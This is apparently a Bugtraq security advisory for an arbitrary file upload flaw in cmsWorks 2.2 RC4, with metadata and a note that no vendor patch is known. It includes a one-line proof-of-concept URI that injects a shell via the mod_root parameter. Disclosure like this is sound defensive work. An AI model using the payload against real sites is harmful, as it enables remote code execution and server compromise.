cmsWorks 'config.php' Arbitrary File Upload Vulnerability

BID:29914

Info

cmsWorks 'config.php' Arbitrary File Upload Vulnerability

Bugtraq ID: 29914
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Jun 23 2008 12:00AM
Updated: Jun 25 2008 07:21PM
Credit: Stack
Vulnerable: cmsWorks cmsWorks 2.2 RC4
Not Vulnerable:

Discussion

cmsWorks 'config.php' Arbitrary File Upload Vulnerability

cmsWorks is prone to a vulnerability that lets remote attackers upload and execute arbitrary script code on an affected computer with the privileges of the webserver process. The issue occurs because the application fails to sanitize user-supplied input.

cmsWorks 2.2 RC4 is vulnerable; other versions may also be affected.

Exploit / POC

cmsWorks 'config.php' Arbitrary File Upload Vulnerability

Attackers may exploit this issue through a browser.

The following proof-of-concept URI is available:

http://www.example.com/path/admin/include/lib.module.php?mod_root=[SHELL]

Solution / Fix

cmsWorks 'config.php' Arbitrary File Upload Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

cmsWorks 'config.php' Arbitrary File Upload Vulnerability

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